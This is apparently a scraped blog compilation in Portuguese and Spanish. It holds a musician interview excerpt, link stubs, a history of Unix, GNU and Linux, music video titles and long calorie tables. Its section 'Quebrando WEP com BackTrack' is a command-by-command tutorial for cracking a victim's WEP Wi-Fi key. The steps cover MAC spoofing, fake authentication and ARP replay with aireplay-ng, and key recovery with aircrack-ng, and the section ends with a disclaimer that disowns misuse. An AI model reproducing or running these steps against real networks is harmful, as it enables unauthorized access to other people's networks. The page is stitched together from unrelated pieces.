Beto: "Le espera un arduo camino. Que lo haga, si realmente lo lleva e el Alma. Que vaya a los ensayos, que escuche todo tipo de música ... De todo se aprende algo. Yo tengo la alegría hoy por hoy de tocar en ALMAFUERTE pero ya tengo 40 cumplidos, ... YO SOY UN EJEMPLO DE PERSEVERA Y TRIUNFARAS, EL EJEMPLO LO TENGO EN MI MISMO... Y ACA ESTOY, ... ESPERO QUE LA MUERTE UN DIA ME ENCUENTRE CAMINADO HACIA ADELANTE, COMO DICE EL TANGO"

Cuando haces lo que sentís ...

Beto: "Eso se nota cuando vas a ver a la banda, te das cuenta si una persona está haciendo un laburo por obligación o realmente está ahí porque lo siente, y lo está disfrutando, eso como hacer el amor con una persona que amas o hacer el amor con una prostituta. Yo me doy cuenta cuando un músico está laburando... a veces veo las actitudes, está tocando y mira el reloj, el tipo está con el "overoll" puesto. Y cuando transpirás la camiseta tambien se nota ...."

Palabras finales.

Beto: "LO UNICO QUE LE PIDO A DIOS ES PODER SEGUIR HACIENDO LO QUE ME GUSTA, SI BIEN TODAVIA SIGO VIVIENDO PARA ESTO, TODAVIA NO VIVO DE ESTO, LE ESTOY AGRADECIDO DE SER PARTE DE LA BANDA NUMERO UNO "ALMAFUERTE". Hay una frase muy bonita de Nietzsche que dice "LA MUSICA ES LO QUE TE PERMITE VIAJAR A LO ETERNO Y REGRESAR" ..."

Pão e Beldroegas: Salame de Chocolate

Pão e Beldroegas: Salame de Chocolate: "Uma receita que não falta nas festas de aniversário da minha filhota, e este ano não foi excepção. Cá está ele, feito com a receita da minha..."

Quebrando WEP com BackTrack: Antes de tudo, se sua placa de rede não entra em m...

Antes de tudo, se sua placa de rede não entra em modo monitor, ESQUEÇA, caso contrario, siga o tutorial.


Download do BackTrack 4
Download do ImgBurn( Caso abra outra janela, espera 10 segundos e clique no MIRROR 6 ).

Após feito download de ambos os arquivos, instale o ImgBurn e grave a imagem BT4-R1.iso em um DVD.
Coloque o DVD no seu computador novamente, e reinicie ele.
Dê o boot pelo DVD com a imagem gravada.
Quando aparecer uma lista de opções, escolha a que acabar com LIVE-CD.
Login: root
Senha: toor
Feito isso aguarda até que apareça uma linha a espera de um comando, e então digite "startx".

Lembrando que a interface da placa de rede eu usarei wlan0 como exemplo, pois é a mais comum.

Quando o sistema ja estiver pronto, abra um terminal.
Digite -> airmon-ng stop wlan0
Digite -> ifconfigwlan0 down
Digite -> macchanger --mac 00:11:22:33:44:55 wlan0
Digite -> airmon-ng start wlan0
Digite -> airodump-ng wlan0

Feito isso, você irá escolha qual rede quebrar.
Abra um outro terminal.
Digite -> airodump-ng -c (channel) -w (qualque coisa) --bssid (aqui você por o bssid da rede que quer quebrar) wlan0


Abra um outro terminal.
Digite -> aireplay-ng -1 0 -a (bssid da vítima) -h 00:11:22:33:44:55 wlan0

Quando aparecer para você uma mensagem de Sucesso prossiga com os próximos comandos.
Se não aparecer mensagem de sucesso é que o sinal ta muito ruim. Ai você tenta de novo.

Digite -> aireplay-ng -3 -b (bssid da vítima) -h 00:11:22:33:44:55 wlan0
Espere juntar uns 10,000 pacotes.
Quando juntar, feche todos os terminal que estão abertos, e abra outro.

Digite -> aircrack-ng *.cap
Se ele te der uma lista de opções, você escolhe a rede que irá atacar e de um enter. Caso contrário espere que o aircrack irá exibir a chave da rede em Hexadecimal.

Logo mais eu coloco print screen pra explicar melhor.
Quaisquer dúvidas, comente que eu respondo. ;)

Obs: Use somente para seu conhecimento, o uso indevido não é de minha responsabilidade. Pois conhecimento não é crime né ?!

GR Blog: El Nacimiento de Linux: ¿Cómo se Inició Linux?

GR Blog: El Nacimiento de Linux: ¿Cómo se Inició Linux?: "Es difícil de creer, pero este año se cumple el 20 aniversario de Linux. Si eres un usuario nuevo de Linux, podrías preguntarte como comenzó..."

Cómo hacer OpenCola - wikiHow

Cómo hacer OpenCola - wikiHow

testando mail bloger

testando envios al blog




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F@bian - Linux User #388332 / Machine Linux #288843

    o     \ o /    _ o            __|     \ /        |__             o _    \ o /     o
    /|\      |       /\     __\o     \o      |        o/      o/__     /\       |      /|\
    / \     / \     | \    /) |        ( \    /o\      / )      |  (\      / |       / \     / \

 

http://fabianschenker.hi5.com     http://fabianmanaus.blogspot.com

El progreso del hombre trajo la destrucción - La razón de la fuerza, la fuerza de la razón

Muito prazer, eu sou o Linux e vim para ficar!

Muito prazer, eu sou o Linux e vim para ficar!

Ok, Linux. Mas de onde você veio? Quais são suas origens?

Unix - O início!

O Unix é um Sistema Operacional multitarefa e multiusuário, criado por um funcionário da AT&T chamado Ken Thompson que está sob propriedade de um consórcio de empresas de tecnologia, chamado The Open Group.

O início se deu em 1965 quando um grupo de programadores incluindo Ken Thompson e Dennis Ritchie num esforço conjunto da AT&T através dos Laboratórios Bell, da General Eletric e do Instituto de Tecnologia de Massachusetts (MIT), inciaram um projeto cujo objetivo era desenvolver um Sistema Operacional de tempo compartilhado para uma grande comunidade de usuários, chamado Multics. Em 1969 a Bell retirou-se do projeto alegando disparidade de objetivos e afirmando que os participantes do projeto sofriam de da síndrome do segundo projeto, querendo incluir no Multics, tudo que não havia sido excluido dos sistemas experimentais.

Num conceito menos ambicioso, ainda no ano de 1969 Ken Thompson reescreveu o Multics na linguagem Assembly e batizou-o de Unics, que mais tarde seria rebatizado por Brian Kernighan com o nome Unix.

No ano de 1973 Dennis Ritchie e Ken Thompson reescreveram o Unix usando a linguagem C que havia sido desenvolvida por Ritchie para substituir e superar as limitações da linguagem B, desenvolvida por seu parceiro Thompson.

Ao longo dos anos 70 e 80 surgiram as primeiras distribuições de grande dimensão como os sistemas BSD (na Universidade de Berkeley na Califórnia), System III e System V (nos Laboratórios Bell). Em 1977, com o Unix sob sua licença, a AT&T começou a fornecer o Unix para instituições comerciais. De 1977 à 1981 a AT&T integrou variantes no primeiro Unix comercial chamado System III. Já em 1983, após alguns melhoramentos surgiu o System V, que hoje é o padrão internacional do mercado Unix.

Ponto de reflexão: Em 1977 o Unix está sob licença da AT&T que integrou variantes no primeiro Unix comercial, chamado System III; Ou seja, era um software proprietário.

GNU - A evolução de conceitos!

Neste momento da história (1983), quase tudo era software proprietário, sendo que nas décadas de 60 e 70 a maioria dos softwares eram livres. É aí que surge Richard Stallman, um grande tecnólogo do MIT que nos anos 80 percebeu que os softwares que antes eram livres, estavam começando a ser cobrados, e com o objetivo de evitar uma inércia na evolução da tecnologia e na distribuição do conhecimento, em 1985 Stallman criou a Free Software Fundation (que tratarei como FSF) e o projeto GNU (acrônimo recursivo que se pronuncia "guh-NEW" ou "guniw"). Este nome nasceu de uma brincadeira (GNU Not Unix).

Com o apoio de vários programadores a FSF começou a desenvolver vários softwares GNU, sendo o EMACS (editor de texto com funções avançadas para programadores). Neste momento, Richard Stallman, preocupado com as indústrias de software proprietário, e sabendo que ps softwares GNU estava ficando melhores que alguns proprietários, precisou proteger o Software Livre. Para isso, Stallman criou a Licença General Public Licence (GPL). Qualquer software que fosse disponibilizado e inserido nessa licença estaria protegendo antes de tudo a liberdade do usuário, proporcinando que o mesmo tivesse acesso ao código fonte do software, e assim poder estudar, usar, alterar e redistribuir o mesmo.

Ponto de reflexão: A licença GPL; No Software Livre, a licença GPL garante liberdades que a licença proprietária anula.

Linux - Uma realidade!

Emfim chegamos a Linus Torvalds, o criador do Linux. Linus começou a desenvolver o Linux em 1991 tendo como base o Minix (uma variante do Unix), e utiliando o GNU Compiler Collection (compilador GNU mais comumente chamado de GCC).

Segundo Linus Torvalds, o livro que ampliou sua visão sobre sistemas operacionais foi "Sistemas Operacionais - Projeto e Implementação, de Andrew Tanenbaum". Do início do desenvolvimento até o lançamento da versão 0.01 foram aproximadamente 2 meses.

Nesse período Linus trocou emails com pessoas que trabalhavam no Minix. Esses tais emails geraram valiosas opiniões que proporcionaram grandes melhorias no Linux, e em 1992, já em sua versão 0.12, as pessoas não mais comparavam o Linux ao Minux, mas sim com outros sistemas operacionais clones do Unix. Tudo leva a crer que foi esse fato fez com que o Linux crescesse de forma que Linus jamais havia imaginado.

Com os avanços decorridos, a comunidade que antes solicitava melhorias, à partir de então passava também a implantar essas tais melhorias, para utilizar os softwares GNU no sistema operacional Linux. O compilador utilizado por Linux para desenvolver o Linux, era um software GNU, criado pela FSF e estava inserido na licença GPL. Linus por sua vez, inseriu o Linux na licença GPL, e à partir daí, varios outros softwares GNU foram portados para Linux. Daí a origem do termo "GNU/Linux".

Em março de 1994 finalmente foi lançada a versão 1.00 do Linux. Após chegar na versão 0.99, Linus estava tão preocupado com a qualidade de seu sistema operacional, que criou a 0.99 15A, 0.99 15B até a 15Z. Convenhamos, não é comum alguém ter tanta preocupação com seus usuários, a ponto de prorrogar tanto o lançamento da versão 1.00. Normalmente as empresas de software proprietário lançam seu produto o quanto antes, pois são movidas a dinheiro.

Ponto de reflexão: O fluxo de caixa; O Software Livre não é movido a fluxo de caixa como o Software Proprietário.

Considerações finais:

Sobre Unix:

Nos dias atuais, o termo Unix é dispensado a todos os Sistemas Operacionais que compactuam dos conceitos dos Sistemas Unix originais, sendo todos eles desenvolvidos em torno de padrões como o POSIX (Portable Operating System Interface) entre outros. Alguns dos Sistemas Operativos derivados do Unix são: BSD (FreeBSD, OpenBSD e NetBSD), Solaris (anteriormente conhecido por SunOS), IRIXG, AIX, HP-UX, Tru64, SCO, Linux (nas suas centenas de distribuições), e até o Mac OS X (baseado em um núcleo Mach BSD chamado Darwin).

A Voz do Senil: RIR 2011 - Eu já estou rindo

A Voz do Senil: RIR 2011 - Eu já estou rindo: "Pra quem estava se perguntando qual seria o momento 'garrafada' (comecem do 1:40 em diante) do RIR (eu não inventei essa sigla, eles estão ..."

I Do Linux: Link Aggregation and Ethernet Bonding

I Do Linux: Link Aggregation and Ethernet Bonding: "Red Hat Enterprise Linux allows administrators to bind multiple network interfaces together into a single channel using the bonding kernel m..."

Black Sabbath - Tony Iommi -- Dirty Women - 1978

Black Sabbath - Dirty Women

Black Sabbath - Paranoid 1999

Black Sabbath - Snowblind

toy-story-3-final-poster.jpg (imagem JPEG, 440x660 pixels) - Redimensionada (94%)

toy-story-3-final-poster.jpg (imagem JPEG, 440x660 pixels) - Redimensionada (94%): "– Enviado usando a Barra de Ferramentas Google"

Stevie Ray Vaughan - Little Wing

Mamonas Assassinas - Reportagem após o acidente no JN

Scorpions Tourdates

Scorpions Tourdates

Tabela de Calorias dos alimentos mais utilizados

CAFÉS,CHÁS E SUCOS

Produtos Quantidade Kcal.

Água-de-coco Socôco 1 caixa (200ml) 40
Água-de-coco verde 1 copo (200ml) 44
Café c/ açúcar 1 xíc. café (50ml) 26
Café em pó 1 c. sopa (15g) 7
Café s/ açúcar 1 xíc. café (50ml) 2
Café solúvel 1 c. chá (6g) 8
Caldo de cana 1 copo (200ml) 138
Chá c/ pêssego Parmalat 1 caixa (200ml) 73
Chá mate c/ limão Parmalat 1 caixa (200ml) 77
Chá c/ limão diet Parmalat 1 copo (200ml) 10
Chá c/ pêssego diet Parmalat 1 copo (200ml) 10
Chá preto Royal Blend 1 saquinho 2
Chá s/ açucar 1 xíc. chá (150ml) 2
Frutess Mix laranja Nestlé 1 copo (200ml) 124
Frutess Mix maracujá Nestlé 1 copo (200ml) 133
Limonada pronta 1 copo (200ml) 85
Polpa de abacaxi Maísa 1/2 copo (100ml) 50
Polpa de cacau Maísa 1/2 copo (100ml) 64
Polpa de maracujá Maísa 1/2 copo (100ml) 117

Polpa de pitanga Maísa 1/2 copo (100ml) 46
Polpa de tangerina Maísa 1/2 copo (150ml) 43
Polpa de uva Maísa 1/2 copo (100ml) 61
Santal abacaxi natural 1 copo (200ml) 75
Santal laranja natural 1 copo (200ml) 68
Santal uva natural 1 copo (200ml) 146
Suco de abacaxi c/ hortelã natural 1 copo (200ml) 104
Suco de abacaxi natural 1 copo (200ml) 100
Suco de abacaxi Maguary 1/3 copo (67ml) 24
Suco de acerola Maguary 1/3 copo (67ml) 9
Suco de ameixa concentrado em lata 1/3 copo (67ml) 79
Suco de caju 1/3 copo (67ml) 26
Suco de caju Maguary 1/3 copo (67ml) 10
Suco de cereja natural 1/2 copo (100ml) 95
Suco de framboesa natural 1/2 copo (100ml) 64
Suco de goiaba Maguary 1/3 copo (67ml) 14
Suco de goiaba Milani 1/3 copo (67ml) 18
Suco de grape fruit natural 1/2 copo (100ml) 108
Suco de graviola natural 1/2 copo (67ml) 64
Suco de groselha natural 1/3 copo (67ml) 84
Suco de guaraná Royal Envelope 94
Suco de laranja concentrado em lata puro 1/3 copo (67ml) 171
Suco de laranja integral Frut-Up Avaré 1 copo (200ml) 82
Suco de laranja integral Parmalat 1 copo (200ml) 80
Suco de laranja integral Swift 1 copo (200ml) 96
Suco de laranja natural 1 copo (200ml) 74
Suco de laranja Royal Envelope 94
Suco de lima natural 1 copo (200ml) 74
Suco de limão Royal Envelope 94
Suco de limão verde natural 1/4 copo (25ml 18
Suco de maçã natural 1/2 copo (100ml) 64
Suco de maçã e morango 1 copo (200ml) 84
Suco de manga Maguary 1/3 copo (67ml) 28
Suco de maracujá Maguary 1/3 copo (67ml) 10
Suco de maracujá/laranja Royal Envelope 94
Suco de melão c/ cenoura natural 1 copo (200ml) 80
Suco de milho verde natural 1 copo (200ml) 32
Suco de romã natural 1/2 copo (100ml) 98
Suco de tangerina natural 1/2 copo (100ml) 75
Suco de tomate fresco 1 copo (200ml) 23
Suco de tomate Milani 1 copo (200ml) 48
Suco de tomate Superbom 1 copo (200ml) 48
Suco de pitanga Maguary 1/3 copo (67ml) 16
Suco de uva Maguary 1/3 copo (67ml) 38
Suco de uva Royal Envelope 94
Suco pronto Del Sol 1 copo (200ml) 90
Suco pronto de maçã Maguary Unidade (250ml) 124
Suco pronto de morango Maguary Unidade (250ml) 117
Suco pronto de uva Maguary Unidade (250ml) 150
Tang laranja 1 copo (200ml) 84
Tang limão 1 copo (200ml) 284
Tang manga 1 copo (200ml) 84
Tang maracujá 1 copo (200ml) 84
Tang uva 1 copo (200ml) 84
Tonyu abacaxi 1 caixa (200ml) 131
Tonyu maçã 1 caixa (200ml) 119
Tonyu maracujá 1 caixa (200ml) 120
Tonyu morango 1 caixa (200ml) 113
Vitamina de banana, mamão e laranja 1 copo (200ml) 132
Vitamina de laranja, maçã e pêssego 1 copo (200ml) 126
Vitamina de laranja, mamão e goiaba 1 copo 9200ml) 134
Vitamina de morango c/ leite desnatado s/ açúcar 1 copo (200ml) 89
Vitamina c/ leite, abacate, banana e maçã 1 copo (200ml) 189
Vitamina s/ leite, abacate, banana e maçã 1 copo (200ml) 168

-*-*-*-*-*-*-*-

Bebidas alcoólicas

Aguardente
½ copo - 120 ml 277

Cerveja
1 lata de 350 ml 147

Cerveja light
1 lata de 360 ml 148

Champanhe
1 taça de 125 ml 85

Chope
1 tulipa de 300 ml 180

Uísque
1 dose de 100 ml 240

Vinho branco doce
1 taça de 125 ml 178

Vinho branco seco
1 taça de 125 ml 107

Vinho Rosé
1 taça de 125 ml 93

Vinho tinto seco
1 taça de 125 ml 107

Vodka
1 cálice de 20 ml 48


-*-*-*-*-


Refrigerantes e energéticos

Coca-Cola
1 lata de 350 ml 137

Coca-Cola Light
1 lata de 350 1,5

Fanta
1 lata de 350 ml 189

Fanta Diet
1 lata de 350 ml 15

Gatorade - todos os sabores
1 frasco de 473 ml 109

Guaraná
1 copo de 240 ml 75

Guaraná diet
1 lata de 350 ml 4

Sport Drink limão
2 colheres de sopa (20g) 51

Sprite
1 lata de 350 ml 115

Sprite diet limão
1 lata de 350 ml 5


-*-*-*-*-

PEIXES E FRUTOS DO MAR

Produtos Quantidade Kcal.

Agulha cru 5 unidades (100g) 28
Agulha frito 5 unidades (100g) 94
Anchova à milanesa 1 filé (100g) 210
Anchova assada ou grelhada 1 filé (100g) 160
Anchova cozida 1 filé (100g) 118
Arenque 2 filés (100g) 230
Arenque assado ou grelhado 1 porção (100g) 200
Arenque defumado 1 porção (100g) 290
Arenque em conserva 1 porção (100g) 200
Arraia ou Raia cru 1 posta (100g) 90
Atum cru 1 posta (100g) 146
Atum em óleo comestível 1 c. sopa (20g) 56
Atum sólido Coqueiro ou Gomes da Costa 1 c. sopa (20g) 23
Bacalhau assado ou grelhado 1 posta (100g) 110
Bacalhau cozido 1 posta (100g) 100
Bacalhau cru 1 pires de chá (100g) 95
Badejo cozido 2 filés (100g) 131
Badejo cru 2 filés (100g) 97
Dourado 1 posta (100g) 80
Enguia defumada 1 porção (100g) 330
Espada cru 1 porção (100g) 116
Espada grelhado 1 porção (100g) 158
Esturjão 1 porção (100g) 90
Esturjão defumado 1 porção (100g) 141
Galo 1 porção (100g) 109
Garoupa São-Tomé 1 posta (100g) 89
Gordinho 1 porção (100g) 103
Haddock cozido 1 filé (100g) 100
Haddock defumado 1 filé (100g) 78
Halibut assado 1 porção (100g) 160
Halibut grelhado 1 porção (100g) 130
Kani-Kama Damm 1 stick (16g) 13
Lagosta cozida s/ molho Unidade (200g) 196
Lagosta crua Unidade (200g) 168
Lagosta grelhada c/ manteiga Unidade (200g) 308
Lagostim 8 unidades (100g) 112
Linguado assado ou grelhado 1 filé (100g) 90
Lula cozida 1 pires de chá (100g) 93
Lula crua 1 pires de chá (100g) 285
Manjuba salgada 10 unidades (100g) 176
Mariscos 1 xíc. chá (100g) 186
Merluza cozida 1 filé (100g) 232
Merluza crua 1 filé (100g) 200
Mero vermelho 1 porção (100g) 96
Mexilhão cozido 1/2 xíc. chá (100g) 79
Moréia 1 porção (100g) 126
Namorado à milanesa 1 filé (100g) 190
Namorado cozido 1 filé (100g) 122
Namorado cru 1 filé (100g) 87
Ostras 3 unidades (100g) 81
Ostras em conserva 1 xíc. chá (100g) 72
Ovas de peixe cruas 1/12 xíc. chá (100g) 123
Ovas de peixe em conserva 1/2 xíc. chá (100g) 383
Pescada 1 filé (100g) 97
Pescada em conserva 1 filé (100g) 144
Pirarucu salgado 1 posta (100g) 251
Pollock assado ou grelhado 1 filé (100g) 110
Polvo cru 1 xíc. chá (100g) 64
Robalo 1 posta (100g) 72
Robalo defumado 1 posta (100g) 96
Salmão assado ou grelhado 1 filé (100g) 220
Salmão cru 1 filé (100g) 211
Salmão defumado 1 filé (100g) 204
Salmão em lata 1 porção (100g) 130
Sardinha Coqueiro em molho de tomate 4 unidades (100g) 177
Sardinha Coqueiro em óleo comestível 4 unidades (100g) 174
Sardinha crua 2 unidades (100g) 134
Sardinha em conserva c/ azeite 3 unidades (100g) 298
Sardinha em conserva c/ molho de tomate 3 unidades (100g) 173
Sardinha prensada crua 1 c. sopa (20g) 135
Surubim cru 1 posta (100g) 107
Surubim salgado 1 posta (100g) 251
Tainha cozida 1 posta (100g) 204
Tainha crua 1 posta (100g) 173
Tainha em conserva 1 posta (100g) 145
Truta assada ou grelhada 1 filé (100g) 150
Tubarão 1 posta (100g) 294
Vermelho assado ou grelhado 1 porção (100g) 130
Viola 1 porção (100g) 127


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CALORIAS DOS QUEIJOS

Produtos Quantidade Kcal.

Brie Luna 1 fatia (30g) 104
Brie 1 fatia (30g) 110
Camembert Luna Unidade (50g) 173
Camembert Unidade (50g) 136
Camembert francês Unidade (50g) 147
Cavalo italiano 1 fatia (30g) 89
Cavalo nacional 1 fatia (30g) 93
Cheddar americano 1 fatia (30g) 108
Cheddar Luna 1 fatia (30g) 114
Chubat 1 fatia (30g) 99
Cottage 2 c. sopa (30g) 30
Cream Cheese Danubio 1 c. sopa (20g) 64
Cream Cheese light Danubio 1 c. sopa (20g) 41
Cream Cheese de calabresa Nestlé 1 c. sopa (20g) 55
Cream Cheese de cebola Nestlé 1 c. sopa (20g) 55
Cream Cheese ervas finas Nestlé 1 c. sopa (20g) 54
Cream Cheese Philadelphia 1 c. sopa (20g) 20
Cream Cheese Philadelphia light 1 c. sopa (20g) 14
Cream Cheese Philadelphia sabor cebola e cebolinha 1 c. sopa (20g) 22
Ementhal 1 fatia (30g) 85
Ementhal suíço 1 fatia (30g) 119
Fondue Luna 1 porção (67g) 276
Fundido 1 fatia (35g) 124
Gorgonzola 1 porção (30g) 119
Gorgonzola francês 1 porção (30g) 112
Gorgonzola italiano 1 porção (30g) 144
Gorgonzola Luna 1 porção (30g) 107
Gouda Luna 1 fatia (30g) 107
Gruyère francês 1 porção (25g) 93
Gruyère Luna 1 porção (25g) 89
Holanda 1 fatia (30g) 103
Itálico Luna 1 fatia (30g) 107
Limburguês suíço 1 fatia (30g) 97
Liederkranz 1 fatia (30g) 90
Luninho Luna Unidade 53
Mio Nestlé Unidade 40
Mussarela 1 fatia (15g) 47
Mussarela de b&uacu te;fala 1 nó (20g) 65
Neufchatel nacional 1 fatia (30g) 94
Neufchatel suíço 1 fatia (30g) 87
Palmira 1 fatia (30g) 115
Parmesão argentino 1 fatia (30g) 115
Parmesão italiano 1 fatia (30g) 118
Parmesão nacional 1 fatia (30g) 121
Parmesão ralado 1 c. sopa (15g) 69
Pasteurizado cheddar Luna 1 c. sopa (20g) 68
Pasteurizado gruyère Luna 1 c. sopa (20g) 68
Pecorino 1 fatia (35g) 128
Pecorino italiano 1 fatia (35g) 143
Petit-Suisse Unidade (25g) 45
Polenguinho Unidade (20g) 71
Polenguinho sabor azeitona Unidade (20g) 71
Polenguinho sabor presunto Unidade (20g) 71
Port-du-salut 1 fatia (30g) 123
Prato 1 fatia (15g) 53
Prato coboco Luna 1 fatia (30g) 102
Prato lanche Luna 1 fatia (30g) 102
Prato minilanche Luna 1 fatia (15g) 51
Provolone 1 fatia (15g) 112
Queijo-de-minas 1 fatia (30g) 61
Queijo-de-minas Frescal 1 fatia (30g) 61
Queijo-de-minas Frescal Danúbio 1 fatia (30g) 70
Queijo-de-minas Frescal Frescatino 1 fatia (30g) 57
Queijo-de-minas Frescal light Danúbio 1 fatia (30g) 45
Queijo-de-minas semicurado 1 fatia (30g) 90
Queijo-do-norte 1 fatia (30g) 115
Queijo-do-reino Caravela Luna 1 fatia (30g) 114
Queijo-do-reio nacional 1 fatia (30g) 155
Queijo-do-reino suíço 1 fatia (30g) 115
Ricota de leite integral 1 fatia (30g) 50
Ricota de leite semidesnatado 1 fatia (30g) 40
Requeijão 1 c. sopa (20g) 60
Requeijão cremoso Danone 1 c. sopa (20g) 58
Requeijão cremoso light Nestlé 1 c. sopa (20g) 36
Requeijão cremoso Nestlé 1 c. sopa (20g) 54
Requeijão cremoso Poços de Caldas 1 c. sopa (20g) 58
Requeijão Danubio light 1 c. sopa (20g) 27
Roqueford 1 porção (25g) 100
Roqueford francês 1 porção (25g) 97
Tofu (queijo de soja) 1 fatia (35g) 40


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CALORIAS DOS CHOCOLATES

Produtos Quantidade Kcal.

Achocolatado Gold Aspartame 1 c. sopa (4,5g) 15
Achocolatado Tal e Qual 1 c. sopa (4,5g) 14
Aerado ao leite Lacta Unidade (30g) 167
Aerado misto Lacta Unidade (30g) 167
Alpino bombom chocolate c/ leite Nestlé Unidade (30g) 70
Alpino chocolate branco Nestlé Unidade (13g) 73
Alô Doçura Garoto Unidade (15g) 83
Amandita Carinho Lacta Unidade (5,6g) 30
Amandita Lacta Unidade (8g) 43
Amargo barra Unidade (200g) 1231
Amaro Lacta Unidade (200g) 1074
Ameixa Garoto Unidade (13g) 49
Amores Garoto Unidade (13g) 43
Ao leite c/ amêndoas e passas Talento Garoto Unidade (100g) 485
Ao leite c/ amendoim Speed Garoto Unidade (30g) 137
Ao leite c/ avelãs Nestlé Unidade (180g) 1028
Ao leite c/ avelãs Talento Garoto Unidade (100g) 507
Ao leite c/ castanha de caju Nestlé Unidade (200g) 1068
Ao leite c/ castanha de caju e passas ao rum Nestlé Unidade (180g) 967
Ao leite Lacta Unidade (30g) 162
Ao leite Nestlé Unidade (30g) 163
Ao leite Nestlé Unidade (200g) 1084
Ao leite Travel c/ flocos de arroz Garoto Unidade (24g) 138
Baton Garoto Unidade (16g) 66
Bis Lacta Unidade (7,5g) 39
Blond Garoto Unidade (200g) 988
Bala de amendoim Lacta Unidade (21,5g) 115
Bala de avelã Lacta Unidade (21,5g) 116
Bala de coco Lacta Unidade (21,5g) 121
Bala de leite Lacta Unidade (21,5g) 116
Bolinha Lacta Unidade (6g) 32
Bowling Lacta Unidade (21,5g) 115
Branco c/ granola e passas Talento Garoto Unidade (100g) 538
Branco Golf Garoto Unidade (30g) 171
Brek Lacta Unidade (30g) 140
Cacau em pó Garoto 1 c. sopa (4,5 9
Caribe Garoto Unidade (13g) 53
Charge Nestlé Unidade (17,5g) 94
Charge Nestlé Unidade (40g) 215
Choc instantâneo Qualitá (em pó) 1 c. sopa (6g) 23
Cholat Glória (em pó) 1 c. sopa (6g) 13
Chokito Nestlé 1 c. sopa (15g) 66
Chokito Nestlé 1 c. sopa (32g) 141
Chokrem Nestlé 1 c. sopa (10g) 55
Class Garoto 1 c. sopa (200g) 954
Classic meio amargo 1 c. sopa (200g) 1052
Confeti Suchard Unidade 5
Coconut Nestlé 1 c. sopa (10g) 71
Crocan Garoto Unidade (200g) 954
Crocante Garoto Unidade (12g) 59
Crock Garoto Unidade (6g) 70
Crunch Nestlé Unidade (9g) 48
Crunch Nestlé Unidade (24g) 127
Crunch Nestlé Unidade (180g) 954
Diamante Negro Lacta Unidade (30g) 156
Diplomata Nestlé Unidade (11g) 60
Disney Lacta Unidade (15g) 67
Ebony Garoto Unidade (15g) 90
Farolito Lacta Unidade (11g) 60
Feitiço Lacta Unidade (21,5g) 113
Figuras ao leite Lacta Unidade (12g) 64
Fricote Lacta Unidade (30g) 145
Fricote Lacta Unidade (15g) 72
Fruts Lacta Unidade (200g) 1013
Galak Nestlé Unidade (10g) 56
Galak Nestlé Unidade (30g) 168
Galak Nestlé Unidade (200g) 1120
Golf Garoto Unidade (30g) 171
Golf Garoto Unidade (200g) 1144
Granulado cacau Visconti Pacote (90g) 325
Granulado cacau Visconti Pacote (200g) 722
Granulado Folia Visconti Pacote (90g) 400
Granulado Folia Visconti Pacote (200g) 888
Grid Garoto Unidade (13g) 49
It Coco Garoto Unidade (13g) 69
Ivory Garoto Unidade (15g) 83
Jazz Garoto Unidade (13g) 80
Kit-Kat Nestlé Unidade (21g) 105
Kit-Kat Nestlé Unidade (48g) 240
Krot Lacta Unidade (30g) 160
Laka Unidade (30g) 165
Lanche Choc Lacta Unidade (50g) 248
Lancy Lacta Unidade (30g) 160
Língua-de-gato Kron Unidade 16
Lococo Nestlé Unidade (14g) 64
Lord Lacta Unidade (15g) 66
Lotus Lacta Unidade (11g) 61
Meio amargo Garoto Unidade (200g) 1052
Meio amargo Nestlé Unidade 526
Milkybar Nestlé Unidade (12,5g) 58
Milkybar Nestlé Unidade (28g) 130
Mini-Chokito Nestlé Unidade (15g) 66
Moc achocolatado em pó Mococa 1 c. sopa (6g) 23
Moldado Lacta Unidade (10g) 53
Moon Garoto Unidade (13g) 60
M&M Unidade 8
Nougat Garoto Unidade (15g) 80
Opereta Garoto Unidade (15g) 78
Ouro Branco Lacta Unidade (21,5) 114
Ouro Preto Lacta Unidade (11g) 59
Ovo de páscoa Alpino Nestlé 100g 543
Ovo de páscoa chocolate c/ leite Nestlé 100g 541
Ovo de páscoa Chikito Nestlé 100g 532
Ovo de páscoa crocante Visconti Nº 14 685
Ovo de páscoa crocante Visconti Nº 16 1069
Ovo de páscoa crocante Visconti Nº 18 1532
Ovo de páscoa Diet Visconti Unidade 710
Ovo de páscoa Galak Nestlé 100g 542
Ovo de páscoa Prestígio Nestlé 100g 541
Ovo de páscoa Sedução Nestlé 100g 541
Ovo de páscoa Turma da Mônica Nestlé 100g 541
Ovo de páscoa Visconti Nº 11 479
Ovo de páscoa Visconti Nº 13 700
Ovo de páscoa Visconti Nº 15 1092
Ovo de páscoa Visconti Nº 17 1569
Ovo de páscoa Visconti Nº 23 3340
Ovomaltine 1 c. sopa (6g) 24
Passas Garoto Unidade (13g) 60
Pelé Lacta Unidade (15g) 73
Prestígio Nestlé Unidade (15g) 65
Prestígio Nestlé Unidade (33g) 143
Quick chocolate alpino Nestlé 1 c. sopa (6g) 23
Quick morango Nestlé 1 c. sopa (6g) 24
Quick Nestlé 1 c. sopa (6g) 33
Requebro Lacta Unidade (11g) 61
Rex Garoto Unidade (15g) 84
Rocky Nestlé Unidade (7,5g) 40
Sedução Nestlé Unidade (20g) 110
Sensação morango Nestlé Unidade (10g) 49
Serenata Garoto Unidade (20g) 88
Smarties Nestlé Unidade (35g) 164
Smash Nestlé Unidade (15g) 64
Smash Nestlé Unidade (42g) 179
Sonho de Valsa Lacta Unidade (21,5g) 115
Suflair branco Nestlé Unidade (200g) 936
Surpresa Nestlé Unidade (30g) 163
Toddy 1 c. sopa (6g) 24
Travel Garoto Unidade (180g) 832
Trufas Unidade (20g) 89
Turma da Mônica Nestlé Unidade (20g) 112
Vitória Garoto Unidade (13g) 62

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Biscoitos e bolachas

Água e sal 1 unidade 32
Biscoito de manteiga 1 porção (100g) 500
Biscoito integral de trigo 1 unidade (15g) 28
Champanhe 1 unidade 40
Cream Cracker 1 unidade 31
Leite 1 unidade 24
Maisena 1 unidade 20
Maria 1 unidade 25
Palitinhos salgados 100g 383
Passatempo alpino 1 unidade 76
Recheado chocolate 1 unidade 72
Recheado morango 1 unidade 73
Salclic aperitivo 1 unidade 11
Waffer chocolate 1 unidade 41

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Balas

Caramelo ao leite 1 unidade 21
Goma média 1 unidade 18
Halls 1 unidade 19
Halls diet 1 unidade 8
Jujuba 1 unidade 5

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Bolos

Ana Maria Pullman 1 unidade (50g) 130
Bolo de cenoura caseiro 1 fatia (50g) 135
Bolo de cenoura cobertura chocolate 1 fatia (50g) 371
Bolo de chocolate 1 fatia (50g) 171
Bolo de fubá caseiro 1 fatia (50g) 310
Bolo de Laranja 1 fatia (50g) 173
Bolo pão-de-ló 1 fatia (50g) 268
Bolo de coco 1 fatia (50g) 186

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Doces

